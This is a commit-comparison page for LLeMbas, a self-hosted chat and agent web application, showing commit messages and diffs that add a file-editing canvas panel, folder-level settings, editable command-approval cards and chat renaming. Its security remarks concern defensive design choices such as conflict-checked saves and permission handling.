Houmeres/LLeMbas
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases 3 Wiki Activity

Compare commits

base: Houmeres/LLeMbas:7c51dc306d5c9ddb2ada00e29daf083aa9757065
Branches Tags
Houmeres/LLeMbas:main
Houmeres/LLeMbas:v1.0.2 Houmeres/LLeMbas:v1.0.1 Houmeres/LLeMbas:v1.0.0
..
compare: Houmeres/LLeMbas:fd4db76c64c253a725c66a1798f5955f3e56ffec
Branches Tags
Houmeres/LLeMbas:main
Houmeres/LLeMbas:v1.0.2 Houmeres/LLeMbas:v1.0.1 Houmeres/LLeMbas:v1.0.0

5 Commits
7c51dc306d .. fd4db76c64

Author SHA1 Message Date
Jaroslav Beneš fd4db76c64 Files, open beside the conversation 
A third side panel, built the way the terminal is and filled the way the
inspector is: tabs holding open files. Project files over SFTP in an agent
chat; notes, skills, knowledge documents, this chat's text attachments and its
own scratch document everywhere. Read with pygments, edited in a plain
textarea, saved with a conflict check.

A bug found on the way in, and the reason this needed its own read path.
`ssh.read_file` ends in `clean_output`, which strips ANSI escapes and decodes
with errors="replace" -- right for the output of a command, and fatal for an
editor: open a file containing an escape byte, press Save, and you have
silently rewritten it with the escapes gone and every undecodable byte replaced
by U+FFFD. `read_text`/`write_text` decode strictly, report binary rather than
mangling it, carry an mtime:size token for a file that moved underneath, and
refuse an oversize write rather than truncating -- `write_file` truncates
because a model is told how many bytes it wrote, and somebody pressing Save is
not. The model-facing pair is untouched: what it returns is a contract a model
has been shown. A truncated read opens read-only for the mirror-image reason.

Six sources go through one dispatch table, for the reason tool_labels.py is a
table: six independently written permission checks is how one ends up written
slightly differently, and that failure looks like editing somebody else's note.

A save on a project file bypasses agent/policy.py, which makes it the fourth
documented exception to "the modes do not govern the keyboard" and the first
that writes. Same argument as the terminal panel -- whoever owns the credential
could write the file with scp -- but the consequence is larger and is now said
out loud rather than left to be inferred.

The model opens tabs from the file tools it was already calling, so no new
schema and no tokens. It never brings one to the front: an agent reads forty
files in a long reply, and taking the screen each time would drag somebody
through all of them and lose any edit in progress. Only the strip is streamed,
guarded on truthiness so the frame can never blank itself -- an empty one would
close every open tab, the approval card you could press twice with the sign
reversed. Both halves are settled on the server, which is why canvas.js needs
no guard against a swap at all.

No vendored editor. CodeMirror 6 needs a bundler, which is hard rule 1;
CodeMirror 5 would be a larger payload than xterm on every page, and xterm is
the one heavy dependency precisely because it loads only where it can be used.
So: server-rendered highlighting for reading, a textarea for writing, and the
panel says there is no colour while you type rather than pretending.

Also here: a scratch document per chat, with `scratch_write` at RISK_READ on
plan_update's argument, and a test pinning the three numbers that decide a
panel's width -- LAYOUT_BOUNDS drops an unknown variable silently, so a panel
missing from it has a drag handle that works and forgets.

Driven under a DOM stub and against the running application.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
 2026-08-04 09:21:03 +02:00
Jaroslav Beneš 50270e13f7 Names that fit the chat, and a way to change one 
Two things about titles were wrong. Every chat spent a second completion on
its name, including an agent chat whose opening words are already a title --
somebody starting one states an objective, not a topic. An agent chat now
takes `fallback_title` from its first prompt and makes no request at all;
an ordinary chat, which opens with a question whose *answer* is what makes a
title worth asking for, is unchanged.

And renaming existed only as the `/title` slash command, which set the heading
and left the sidebar row showing the old name until the next reload -- a rename
that looks half-applied is one people do twice. There are pencil buttons on the
heading and on every sidebar row now, both PATCHing the route that was already
there, and `update_chat` answers a rename with the out-of-band pair the `done`
frame has always sent, so one response moves both. Only on a rename: sending it
for every PATCH would overwrite the heading from an unrelated save. `/title`
sets both spans itself, being a bare fetch rather than htmx.

The dialog is the `data-prompt` mechanism the folder work added, which is why
the heading keeps a button rather than becoming an inline field: it sits in a
flex row beside the badges and the connection chip, and swapping it for a text
box moves all of them.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
 2026-08-04 08:46:08 +02:00
Jaroslav Beneš 6fb260892f Correcting a command before allowing it 
An approval card was Allow, Always, or Don't. A model proposing the right
command with one flag wrong therefore cost a whole round trip to explain in
prose. There is an Edit button on it now.

Where the edit lands is the whole of the feature, and it is one line.
`arguments` is the list `_run_calls` hands to `run_tool` as `parsed=`, and
`run_tool` never re-parses -- so writing into it inside `_authorise` is the
only mutation the runner can see. Editing the Item would do nothing: it is
frozen and display-only.

Two things had to move with it. The raw `call["arguments"]` string is rewritten
beside the parsed dict, and the assistant turn is now built *after* `_authorise`
rather than before it -- the old order told the model it ran what it proposed
while something else ran, and every later round would have reasoned from a
transcript that was quietly false. And `_remember_always` reads the edit, or
"always allow this" would store a standing permission for a command nobody
approved; it still derives the pattern itself through `policy.subject`, which
yields nothing for a composed command line.

Nothing is re-checked against the mode or the lists, and that is not a shortcut.
The deny list resolves to ASK rather than to a refusal -- it means "always ask
about this" -- so a person who has typed the command and pressed Allow is
exactly the asking it was demanding, and re-asking would put the same card up
with no way past it. It is the line the terminal panel already draws.

The box is only offered where the detail *is* an argument and can be put back:
a tool with no entry in `tool_labels.DETAIL_KEYS` gets a `k=repr(v)` summary,
and a box there would silently change nothing. Both halves are always in the
DOM with one hidden, rather than the field being created on click -- a field
that does not exist until a handler runs is a field that submits nothing if
the handler fails, and this one decides what runs on somebody's machine.

The transcript says "edited by you". Attributing somebody's own typing to a
model is the same misattribution as the other way round.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
 2026-08-04 08:40:51 +02:00
Jaroslav Beneš b602657450 A folder that carries something, and a way to name one 
A folder was a name and nothing else -- and not even that, since PATCH could
rename one and nothing in the interface ever called it. It now carries a
description, a system prompt, and seeds for the model, the kind and the agent
target, with a settings page behind the row.

The prompt is a fourth rung on the ladder, chat > folder > model > instance,
and it goes above the model deliberately: a model's prompt describes the model
wherever it is used, a folder's describes this piece of work whichever model
is pointed at it. It is read when a reply is built rather than copied when a
chat is made, so editing it reaches the chats already there, and the walk up
the parents is bounded and cycle-safe because it runs on the request path.
`api/pages.py` mirrors the ladder for the settings panel and had to gain the
same rung -- a panel naming the wrong source is worse than one naming none,
because it is believed.

The seeds fill in what the request left empty and nothing it filled in: the
folder says what this work usually needs, the screen in front of somebody says
what they want this time. `ssh_profile_id` is a plain string rather than a
foreign key, for the reason `compacted_through_id` is, so it is validated on
read.

Getting *into* a folder needed fixing too. `/api/chats/start` has accepted a
folder_id since folders existed and nothing ever sent one, so the only route in
was to make the chat elsewhere and move it. There is a New chat here on the row
now, and `?folder=` on the new-chat screen.

Naming is a themed dialog, and deliberately not htmx's hx-prompt: htmx calls
the browser's prompt() synchronously and only then fires htmx:prompt with the
answer already in hand, so intercepting the event cannot supply a different one
and the grey box appears anyway. `data-prompt` follows the data-confirm-button
shape instead -- swallow the click, ask, write the answer into hx-vals,
click again behind a guard. JSON.stringify rather than concatenation, or a
folder called `"` produces hx-vals that does not parse and the rename silently
does nothing. Driven under a DOM stub, and there is a test that no template
brings hx-prompt back.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
 2026-08-04 08:30:49 +02:00
Jaroslav Beneš 9c61e40662 Two kinds of work, and a switch to say which 
The sidebar rendered an agent chat and an ordinary one identically, in one
list, so hours of machine work sat among a morning's questions. A switch
below the pinned models now shows one kind at a time, stored on the account
so it follows the reader to another browser.

Three things it does that are not the obvious version:

The switch is inside the fragment it swaps. Targeting only the tree would
leave the two buttons showing the side you had just left -- the request
works and the interface says otherwise, which is the failure this codebase
keeps cataloguing.

A folder can be emptied by the filter, or have been empty all along, and
only the first is a reason to hide it. `shown_in` is that line: a folder
somebody made a moment ago and has not filled yet stays on both sides, or
it can never be found again, let alone filed into.

With agent chats switched off there is no switch, and the sidebar goes back
to showing everything rather than to one side of a fork nobody can move.
An administrator turning the feature off would otherwise strand whoever
last left the switch on Agents in an empty sidebar with no way out.

The control reuses the composer's `.segmented`, which is the same choice in
a different place, and the verb goes on the input rather than the wrapper.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
 2026-08-04 08:19:17 +02:00
56 changed files with 5300 additions and 135 deletions
Expand all files Collapse all files
CLAUDE.md
+132 -12
View File
@@ -20,7 +20,7 @@ lembas info # paths + counts, useful when confused
lembas secret-key # generate LEMBAS_SECRET_KEY
lembas create-admin # create or promote an admin
pytest # 1231 tests, ~75s
pytest # 1394 tests, ~85s
# PLAN.md tracks what is and is not built
ruff check . # lint (line length 100)
python scripts/build_artwork.py # regenerate artwork (SVG + PWA icons;
@@ -133,6 +133,8 @@ src/lembas/
files.py attachment validation, images, PDF/text extraction
reasoning.py splits thinking from the answer
settings_store.py runtime instance settings
canvas.py what is open in the canvas panel, and where it comes from
scratch.py a chat's own working document
uploads.py validated image storage
sse.py event framing
web/
@@ -140,6 +142,7 @@ src/lembas/
templates/ Jinja
static/ css, js, vendor, img, sw.js
js/commands.js the / table, and the keyboard that does the same jobs
js/canvas.js the canvas panel's three behaviours
js/composer.js the menu / and @ open, and the mirror that marks them
assets/ SVG masters and PWA icons (generated)
deploy/ systemd unit, nginx vhost, install/update scripts
@@ -265,11 +268,13 @@ means Markdown is re-rendered whole, which is required anyway -- a list or code
fence is only correct once its context exists.
**Two frames must be able to blank themselves, and the rest must not.**
`reasoning`, `tools` and `render` are only sent when they have something in
them, so a frame can never wipe what is on screen. `metrics`, `status` and
`ask` are sent on every version bump *including empty*, because each has to be
able to clear: an approval card that survived being answered would be a button
you could press twice.
`reasoning`, `tools`, `render` and `canvas` are only sent when they have
something in them, so a frame can never wipe what is on screen. `metrics`,
`status` and `ask` are sent on every version bump *including empty*, because
each has to be able to clear: an approval card that survived being answered
would be a button you could press twice. `canvas` is the sharpest case on the
other side — an empty one would close every tab somebody had open, which is the
same failure with the sign reversed.
**Stopping sets a flag the producer checks -- except while it is paused.**
`generation.request_stop()`; whatever arrived is kept and the message is marked
@@ -495,6 +500,39 @@ hours with nobody watching, so a restart rehydrates its watcher from the row
(`jobs.rehydrate`, in the lifespan) rather than forgetting the one thing the
feature promises. Cancelling a watcher never stops the detached remote job.
**A file a model reads and a file a person edits are not the same read.**
`ssh.read_file` ends in `base.clean_output`, which strips ANSI escape sequences
and decodes with `errors="replace"` — right for the output of a command, and
fatal for an editor: open a file containing an escape byte through it, press
Save, and you have silently rewritten it with the escapes gone and every
undecodable byte replaced by U+FFFD. `ssh.read_text`/`write_text` are Canvas's
own pair — strict decoding, `binary` reported rather than mangled, a `mtime:size`
token for detecting a file that moved underneath, and **oversize refused rather
than truncated**, because `write_file` truncates and a model is told how many
bytes it wrote while somebody pressing Save is not. The model-facing two are
deliberately untouched: what they return is a contract a model has been shown.
A truncated *read* opens read-only for the mirror-image reason — saving back the
first 256KB of a larger file is how the rest of it is deleted.
**Canvas is six sources behind one shape**, dispatched through one table in
`services/canvas.py` for the reason `tool_labels.py` and `sharing.RESOURCE_TYPES`
are tables: six independently written permission checks is how one of them ends
up written slightly differently, and the way *that* failure shows up is somebody
editing somebody else's note. A tab key is `"<source>:<ref>"`, split with
`partition` because a path may contain a colon. `path_key` is lifted out of
`agent/tools.py:_path_key` and shared, so a tab a model opened and one a person
opened are one tab rather than two spellings of the same file.
**A model fills the canvas strip; a person decides what is in front.**
`open_tab(..., activate=False)` is what the generation loop passes, and it is
the whole of how the panel avoids being unusable: an agent reads forty files in
a long reply, and taking the screen each time would drag somebody through all of
them and lose any edit in progress. Eviction at `MAX_TABS` never closes the tab
in front. Only the *strip* is streamed — pushing the contents would overwrite a
textarea somebody is typing in — which is also why `canvas.js` needs no guard
against a swap: both halves are settled on the server, where they cannot be lost
to a race.
**Files never go through a shell.** The SSH exec protocol carries one command
*string* that the far side parses, with no argv form at all, so a model-supplied
path in a command line is unavoidably a quoting problem. `file_read`/`file_write`
@@ -800,6 +838,57 @@ folder of contracts into the window would cost the context on every request
forever to answer one question. It therefore needs an existing chat, so it is
absent on the new-chat screen — the same reason project files are.
**The sidebar shows one kind at a time.** `Chat.kind` distinguishes an agent
chat everywhere except the one place a person looked. The switch is stored on
the account, and three things about it are not the obvious version. It lives
*inside* the fragment it swaps, or the two buttons would go on showing the side
you had just left. `Folder.shown_in` hides a folder the filter emptied and keeps
one that was empty to begin with — the second is a container somebody just made,
and hiding it means it can never be found again, let alone filed into. And with
agent chats switched off there is no switch and no filtering at all, rather than
one side of a fork nobody can move: an administrator turning the feature off
would otherwise strand whoever last left it on Agents in an empty sidebar.
**A command can be corrected before it is allowed, and the edit lands in exactly
one place.** `arguments` is the list `_run_calls` hands to `run_tool` as
`parsed=`, and `run_tool` never re-parses — so writing into it inside
`_authorise` is the only mutation the runner sees. Editing the `Item` does
nothing: it is frozen and display-only. Two things move with it. The raw
`call["arguments"]` string is rewritten, and the assistant turn is built **after**
`_authorise` rather than before it, or the model is told it ran what it proposed
while something else ran and every later round reasons from a transcript that is
quietly false. And `_remember_always` reads the edit, or "always allow this"
stores a standing permission for a command nobody approved — it still derives
the pattern itself through `policy.subject`, which yields nothing for a composed
command line. The box is offered only where the detail *is* an argument
(`tool_labels.DETAIL_KEYS`); anything whose detail is a `k=repr(v)` summary
cannot be put back, and a box there would silently change nothing.
**htmx's `hx-prompt` cannot be intercepted, and `hx-confirm` can.** htmx calls
the browser's `prompt()` synchronously and *then* fires `htmx:prompt` with the
answer already in hand, so cancelling the event only aborts the request and the
grey box appears regardless — `htmx:confirm` fires before, which is why that one
works. `data-prompt` in `ui.js` follows the `data-confirm-button` shape instead:
swallow the click, ask in the themed dialog, write the answer into `hx-vals`,
click again behind a guard flag. `JSON.stringify`, never concatenation, or a
folder called `"` produces `hx-vals` that does not parse and the request goes out
with the field missing rather than with the name. There is a test that no
template brings `hx-prompt` back.
**An agent chat is named from its first prompt and costs no model call.**
Somebody starting one states an objective, not a topic. An ordinary chat opens
with a question whose *answer* is what makes a title worth asking a model for,
and is unchanged. `update_chat` answers a rename with the same out-of-band pair
the `done` frame sends, so one response moves the heading and the sidebar row —
only on a rename, because sending it for every PATCH would overwrite the heading
from an unrelated save.
**Three numbers per panel decide a width, in three files, and two of them fail
silently.** `LAYOUT_BOUNDS` drops an unknown CSS variable on purpose, so a panel
missing from it has a drag handle that appears to work and forgets by the next
page load. The allowlist's lower bound, the handle's `data-resize-min` and the
`--*-width-min` token are pinned equal by `tests/test_layout_bounds.py`.
**Unread is polled, not pushed.** A browser on another chat has no connection
to the one that finished. `/api/chats/unread` returns out-of-band dot spans and
an `HX-Trigger` for the toast; `unread_notified` stops the same arrival being
@@ -843,11 +932,26 @@ already been a bug once.
`position` order. Pinned models get shortcuts in the chat sidebar and nothing
else -- a picker whose order differs from the admin screen is just confusing.
**System prompts are precedence, not concatenation.** chat > model > instance,
most specific wins outright (`services/chat.py:effective_system_prompt`).
Stacking them reads well in a settings screen and badly in practice: two layers
that disagree give the model contradictory instructions and nobody can tell
which is losing.
**System prompts are precedence, not concatenation.** chat > folder > model >
instance, most specific wins outright
(`services/chat.py:effective_system_prompt`). Stacking them reads well in a
settings screen and badly in practice: two layers that disagree give the model
contradictory instructions and nobody can tell which is losing.
The folder rung goes *above* the model deliberately: a model's prompt describes
the model wherever it is used, a folder's describes this piece of work whichever
model is pointed at it. It is read when a reply is built and never copied onto
the chat, so editing a folder reaches the chats already in it, and the walk up
the parents is bounded and cycle-safe because it runs on the request path.
`api/pages.py` mirrors the ladder for the settings panel's "inherited from"
hint, and has to keep mirroring it layer for layer — a panel naming the wrong
source is worse than one naming none, because it is believed.
A folder's other settings are **seeds**, copied by `_new_chat` into whatever the
request left empty and nothing it filled in: the folder says what this work
usually needs, the screen in front of somebody says what they want this time.
`Folder.ssh_profile_id` is a plain string rather than a ForeignKey, for the
reason `compacted_through_id` is, and is validated on read.
**JSON columns need reassignment.** `user.settings_json["theme"] = x` on a
plain dict is not detected. The columns use `MutableDict` (`db/types.py`), but
@@ -1266,7 +1370,7 @@ construction, while decoding each frame server-side would corrupt every
boundary. Only `resize`, `ready`, `closed` and `error` are text, and they are
JSON.
**The modes do not govern the keyboard, and now there are three exceptions, not
**The modes do not govern the keyboard, and now there are four exceptions, not
one.** `agent/policy.py` exists because a model reads pages, files and command
output it did not write and can be talked into things. A person typing into the
terminal panel holds the credential already and could open the same shell with
@@ -1281,6 +1385,22 @@ There is a test named after the first one, because it reads like a bug next to
`policy.py` and "fixing" it would make the panel useless in the mode people
spend the most time in.
The fourth is **Canvas saving a project file**, and it is the first of the four
that *writes*. Same argument — whoever owns the credential could write the file
with `scp` — but the consequence is larger and should not be inferred from the
other three: in Plan mode, "look but do not touch" is a promise about the model
and not about the panel. The gate is `canvas.agent_ready`, everything
`_terminal_enabled` checks except `agent.terminal`, and re-derived on every
request rather than trusted from the template flag of the same name.
**Editing a command on an approval card is not a fifth exception, and the reason
matters.** The deny list resolves to `ASK`, not to a refusal — it means "always
ask about this" — so a person who has typed the command themselves and pressed
Allow *is* the asking it was demanding, and re-checking would put the same card
up with no way past it. The instance's list still governs the model, because
`decide` reads it before the allow list, so a pattern "always allow" remembered
from an edit cannot widen past it.
**A control wired to a method its route does not serve fails silently.** The
agent-mode select posted with `hx-post` against a route that only answers
`PATCH`, so every change returned 405 and the mode never moved — for the whole
PLAN.md
+19 -3
View File
@@ -43,11 +43,19 @@ be a different project, not a refactor.
- [x] **Stop** — the send button becomes Stop while writing; what arrived is kept
- [x] **Rewind** — edit one of your own turns and the conversation runs on from
there. Truncates rather than branching
- [x] Copy, regenerate, automatic chat titles
- [x] **Chat titles that fit the chat** — an ordinary chat is named by a model
from the first exchange, an agent chat from its opening words alone, which
are already an objective. Renameable from the heading and from the sidebar
row; one response updates both
- [x] Chats created on first message, so an abandoned composer leaves nothing
- [x] **Unread indicator** — a green dot and a toast when a reply lands while
you were elsewhere
- [x] Folders, arbitrarily nested; deleting one keeps the chats inside it
- [x] **Folders that carry something** — arbitrarily nested, with a name, a
description, a system prompt inherited by the chats inside them, and seeds
for the model, the kind and the agent target. Deleting one keeps the chats
- [x] **The sidebar splits Chat and Agent** — a switch below the pinned models,
stored on the account, filtering the folder tree as well as the loose
chats
- [x] Per-reply metrics — tokens, context used as a percentage, tokens/second,
live while streaming and kept afterwards. Estimated with a `~` when the
endpoint reports no usage
@@ -55,6 +63,11 @@ be a different project, not a refactor.
the model's context. Summarised turns are kept and collapsed, not deleted
- [x] Temporary chats — never listed, swept after a day, with a Keep button
- [x] An admin-only request inspector beside the thread
- [x] **Canvas** — a third side panel holding open files, in tabs. Project files
over SFTP in an agent chat; notes, skills, knowledge documents, this
chat's text attachments and its own scratch document everywhere. Read with
syntax highlighting, edited in a plain textarea, saved with a conflict
check. Files the model touches open themselves, without taking the screen
### Tools
- [x] **Tool calling** — one reply is a bounded loop of requests, not one
@@ -229,7 +242,10 @@ be a different project, not a refactor.
`/api/`: a reply is an event stream and caching one breaks it
- [x] Two themes (`moria`, `shire`) from one set of design tokens
- [x] Every control sized from `--control-h`, so rows line up by construction
- [x] Toasts and dialogs of our own; no `window.confirm` anywhere
- [x] Toasts and dialogs of our own; no `window.confirm` anywhere, and
`data-prompt` for asking one line before a request goes out
- [x] **An approval card's command can be corrected** before it is allowed, and
the transcript says who wrote what ran
- [x] Original SVG artwork generated from a single source
### Operations
src/lembas/api/canvas.py
+198
View File
@@ -0,0 +1,198 @@
"""The canvas panel: open a file, read it, change it, save it.
Every route answers with an HTML fragment, errors included. An exception page
swapped into a side panel is a blank side panel, and a panel that goes blank
tells somebody nothing about why.
`GET` never moves the active tab. There is no CSRF token in this application and
the session cookie is SameSite Lax, so a state-changing GET is a link somebody
can be made to follow -- and one of the things a tab can be is a file on
somebody's server.
"""
from __future__ import annotations
import logging
from fastapi import APIRouter, Form, HTTPException, Request, Response, status
from sqlalchemy.orm import Session as DBSession
from lembas.api.deps import Db, RequiredUser
from lembas.db.models import Chat, User
from lembas.services import canvas as canvas_service
from lembas.services import generation as generation_service
from lembas.services.agent.base import Conflict
from lembas.services.markdown import highlight_code, render_markdown
from lembas.web.templating import templates
log = logging.getLogger(__name__)
router = APIRouter(prefix="/api/chats", tags=["canvas"])
def _owned_chat(db: DBSession, chat_id: str, user_id: str) -> Chat:
"""404 rather than 403 for somebody else's chat: whether it exists at all is
not this account's business."""
chat = db.get(Chat, chat_id)
if chat is None or chat.user_id != user_id:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That chat no longer exists.")
return chat
async def _panel(
request: Request,
db: DBSession,
user: User,
chat: Chat,
*,
key: str = "",
message: str = "",
conflict: canvas_service.Doc | None = None,
mine: str = "",
) -> Response:
"""The strip and whichever tab is in front, as one fragment.
Both together, always. Rendering only the body would leave the strip showing
a tab that is no longer there after a close, and rendering only the strip
would leave the previous file on screen after a switch.
"""
wanted = key or canvas_service.active_of(chat)
doc: canvas_service.Doc | None = None
error = message
if wanted and not error:
try:
doc = await canvas_service.load(db, user, chat, wanted)
except canvas_service.Refused as exc:
error = str(exc)
except Exception: # pragma: no cover - a machine going away mid-request
log.exception("canvas could not open %s", wanted)
error = "That could not be opened."
body = ""
if doc is not None and doc.text:
# The one `|safe` in this panel, and it is safe because pygments escapes
# what it is given. Markdown goes through render_markdown, the single
# path in this application allowed to emit HTML. Everything else -- the
# editor's contents, the titles, the paths -- is escaped by Jinja.
body = render_markdown(doc.text) if doc.markdown else highlight_code(doc.text, doc.language)
return templates.TemplateResponse(
request,
"chat/_canvas_inner.html",
{
"user": user,
"chat": chat,
"tabs": canvas_service.tabs_of(chat),
"active": wanted,
"doc": doc,
"rendered": body,
"error": error,
"conflict": conflict,
"mine": mine,
"canvas_agent": canvas_service.agent_ready(db, user, chat) is not None,
},
)
@router.get("/{chat_id}/canvas")
async def show(request: Request, db: Db, user: RequiredUser, chat_id: str, key: str = ""):
"""Whatever is in front, or the tab named by `?key=`.
Read-only in every sense: a `?key=` that is not open does not become open,
it is simply shown. Opening is a POST.
"""
chat = _owned_chat(db, chat_id, user.id)
return await _panel(request, db, user, chat, key=key)
@router.post("/{chat_id}/canvas/tabs")
async def open_tab(
request: Request,
db: Db,
user: RequiredUser,
chat_id: str,
key: str = Form(...),
title: str = Form(""),
):
"""Open a file, or bring an already-open one to the front.
Idempotent, because opening what is already open is switching to it -- the
same reason `generation.ensure` is idempotent.
"""
chat = _owned_chat(db, chat_id, user.id)
try:
doc = await canvas_service.load(db, user, chat, key)
except canvas_service.Refused as exc:
return await _panel(request, db, user, chat, message=str(exc))
state = canvas_service.open_tab(
dict(chat.canvas_json or {}),
{"key": doc.key, "title": title.strip() or doc.title, "source": doc.key.split(":")[0]},
)
# Reassigned rather than mutated: an in-place edit of a JSON column is not
# reliably detected as a change.
chat.canvas_json = state
db.commit()
# A reply running right now holds its own snapshot, seeded when it started.
# Without this the next frame it sends would contradict what was just
# swapped in -- the same reach into live state `request_stop` makes.
live = generation_service.running_for(chat.id)
if live is not None:
canvas_service.open_tab(live.canvas, {"key": doc.key, "title": doc.title})
return await _panel(request, db, user, chat, key=doc.key)
@router.post("/{chat_id}/canvas/tabs/close")
async def close_tab(
request: Request, db: Db, user: RequiredUser, chat_id: str, key: str = Form(...)
):
chat = _owned_chat(db, chat_id, user.id)
chat.canvas_json = canvas_service.close_tab(dict(chat.canvas_json or {}), key)
db.commit()
live = generation_service.running_for(chat.id)
if live is not None:
canvas_service.close_tab(live.canvas, key)
return await _panel(request, db, user, chat)
@router.post("/{chat_id}/canvas/save")
async def save(
request: Request,
db: Db,
user: RequiredUser,
chat_id: str,
key: str = Form(...),
text: str = Form(""),
revision: str = Form(""),
):
"""Write it back.
A conflict comes back as a card, at 200, so htmx swaps it: the panel has to
be able to show Overwrite, Discard mine and Show what changed, and none of
those can be offered from an error status htmx will not render. Never save
silently over a change; never discard silently either.
"""
chat = _owned_chat(db, chat_id, user.id)
try:
await canvas_service.save(db, user, chat, key, text, revision)
except Conflict:
try:
theirs = await canvas_service.load(db, user, chat, key)
except canvas_service.Refused as exc:
return await _panel(request, db, user, chat, key=key, message=str(exc))
return await _panel(request, db, user, chat, key=key, conflict=theirs, mine=text)
except canvas_service.Refused as exc:
return await _panel(request, db, user, chat, key=key, message=str(exc))
except Exception: # pragma: no cover - the machine going away mid-write
log.exception("canvas could not save %s", key)
return await _panel(
request, db, user, chat, key=key, message="That could not be saved."
)
return await _panel(request, db, user, chat, key=key)
src/lembas/api/chats.py
+101 -17
View File
@@ -8,6 +8,7 @@ import logging
import time
from collections.abc import AsyncIterator
from datetime import UTC, datetime
from types import SimpleNamespace
from fastapi import APIRouter, Depends, Form, HTTPException, Request, status
from fastapi.responses import HTMLResponse, JSONResponse, Response, StreamingResponse
@@ -21,6 +22,7 @@ from lembas.db.models import (
ROLE_ASSISTANT,
ROLE_USER,
Chat,
Folder,
Message,
Model,
User,
@@ -95,7 +97,25 @@ def _new_chat(
offered the control -- by which point the model had already answered under
the wrong rules. The reasoning effort is accepted for the same reason, and
wins over the model's default: an explicit choice beats an inherited one.
A folder's own defaults fill in anything the request left empty, and nothing
it filled in. That order is the point: the folder says what this piece of
work usually needs, and the screen in front of somebody says what they want
this time. The folder's system prompt is deliberately not among them -- it
is read at request time so that editing the folder later reaches the chats
already in it.
"""
folder = db.get(Folder, folder_id) if folder_id else None
if folder is not None and folder.user_id != user.id:
folder = None
if folder is not None:
model_id = model_id or folder.model_id
kind = kind or folder.kind
if kind == KIND_AGENT:
ssh_profile_id = ssh_profile_id or folder.ssh_profile_id
project_dir = project_dir or folder.project_dir
agent_mode = agent_mode or folder.agent_mode
chosen = None
if model_id:
match = next(
@@ -836,6 +856,25 @@ def _ask_html(chat_id: str, pending) -> str:
)
def _canvas_tabs(chat_id: str, state: dict) -> str:
"""The canvas tab strip, as an out-of-band swap.
Out of band because it belongs to a panel, not to the bubble the stream is
writing into -- the same move the `done` frame already makes for the chat
title. Only the strip: pushing the file's contents on every version bump
would be a lot of bytes for nothing, and would overwrite a textarea somebody
is typing in. The active tab's body fetches itself once instead.
"""
return templates.get_template("chat/_canvas_tabs.html").render(
{
"chat": SimpleNamespace(id=chat_id),
"tabs": state.get("tabs") or [],
"active": state.get("active") or "",
"oob": True,
}
)
async def _follow(chat_id: str, message_id: str) -> AsyncIterator[str]:
"""Stream a generation that is running independently of this request.
@@ -862,6 +901,19 @@ async def _follow(chat_id: str, message_id: str) -> AsyncIterator[str]:
yield sse.event("tools", _tool_activity(generation.tool_events))
if generation.content:
yield sse.event("render", render_markdown(generation.text))
if generation.canvas.get("tabs"):
# Guarded on truthiness, which puts this in the
# reasoning/tools/render group and not the
# metrics/status/ask one. Those three are sent even when
# empty *because* each has to be able to clear itself; this
# one must never be able to, since an empty canvas frame
# would close every tab somebody had open. The card that
# could be pressed twice, with the sign reversed.
#
# The whole strip each time, not a delta, so a follower
# attaching mid-reply gets every tab the reply has touched
# rather than the ones that happened to arrive after it.
yield sse.event("canvas", _canvas_tabs(chat_id, generation.canvas))
yield sse.event("metrics", _metrics_html(generation))
yield sse.event("status", escape_text(generation.status))
yield sse.event("ask", _ask_html(chat_id, generation.pending))
@@ -1311,15 +1363,6 @@ async def answer_interaction(
form = await request.form()
verdict = str(form.get("verdict") or "").strip()
# Read and recorded *before* resolving: `interaction.wait_for` clears
# `generation.pending` in its `finally`, so a moment later there is nothing
# left to remember and "always" would quietly mean "once".
remembered = 0
if verdict == interaction.ALLOW_ALWAYS:
remembered = _remember_always(
db, chat, generation_service.pending_items(chat.id, interaction_id)
)
answers: dict[str, str] = {}
for field, value in form.multi_items():
kind, _, key = str(field).partition(".")
@@ -1331,6 +1374,23 @@ async def answer_interaction(
elif kind == "choice" and written:
answers.setdefault(key, written)
# Read and recorded *before* resolving: `interaction.wait_for` clears
# `generation.pending` in its `finally`, so a moment later there is nothing
# left to remember and "always" would quietly mean "once".
#
# `answers` is gathered first because an approval card can now carry a
# corrected command, and "always allow this" has to mean the command that is
# about to run rather than the one the model asked for. Remembering the
# proposed one would grant a standing permission nobody approved.
remembered = 0
if verdict == interaction.ALLOW_ALWAYS:
remembered = _remember_always(
db,
chat,
generation_service.pending_items(chat.id, interaction_id),
answers=answers,
)
answered = generation_service.answer(
chat.id,
interaction_id,
@@ -1358,15 +1418,23 @@ async def answer_interaction(
return response
def _remember_always(db: DBSession, chat: Chat, items) -> int:
def _remember_always(
db: DBSession, chat: Chat, items, *, answers: dict[str, str] | None = None
) -> int:
"""Record what "always allow" was said about. Returns how many were new.
The pattern is derived **here**, from the item that was approved, and never
taken from the request -- the endpoint accepts an interaction id and a
verdict and nothing else. `agent_policy.subject` is the same normaliser
`decide` matches with, so what is stored is exactly what will be compared
later; it returns None for a command line carrying a shell metacharacter,
which is precisely the shape that must never become a standing permission.
The pattern is derived **here**, and still never taken from the request as a
pattern: `answers` carries the command a person may have corrected on the
card, and it goes through `agent_policy.subject` exactly as `item.detail`
does. That is the same normaliser `decide` matches with, so what is stored
is exactly what will be compared later; it returns None for a command line
carrying a shell metacharacter, which is precisely the shape that must never
become a standing permission.
Reading the edit matters rather than being a nicety. Somebody who corrects a
command and presses "always allow" has approved the corrected one, and
storing what the model originally asked for would be a standing permission
for something nobody ever agreed to.
A tool name for everything that is not a command, which is the convention
the shipped `allow_default` already uses: `file_read` and `file_list` are
@@ -1374,12 +1442,16 @@ def _remember_always(db: DBSession, chat: Chat, items) -> int:
"""
scope = dict(chat.scope_json or {})
entries = list(scope.get("allow") or [])
written = answers or {}
added = 0
for item in items:
if item.kind != interaction.KIND_APPROVAL or len(entries) >= MAX_SCOPE_KEYS:
continue
pattern = agent_policy.subject(item.tool_name, item.detail)
detail = item.detail
if item.editable:
detail = (written.get(item.key) or "").strip() or item.detail
pattern = agent_policy.subject(item.tool_name, detail)
if not pattern or pattern in entries:
continue
entries.append(pattern)
@@ -1424,12 +1496,14 @@ async def update_chat(request: Request, db: Db, user: RequiredUser, chat_id: str
allowed = permissions.resolve(db, user)
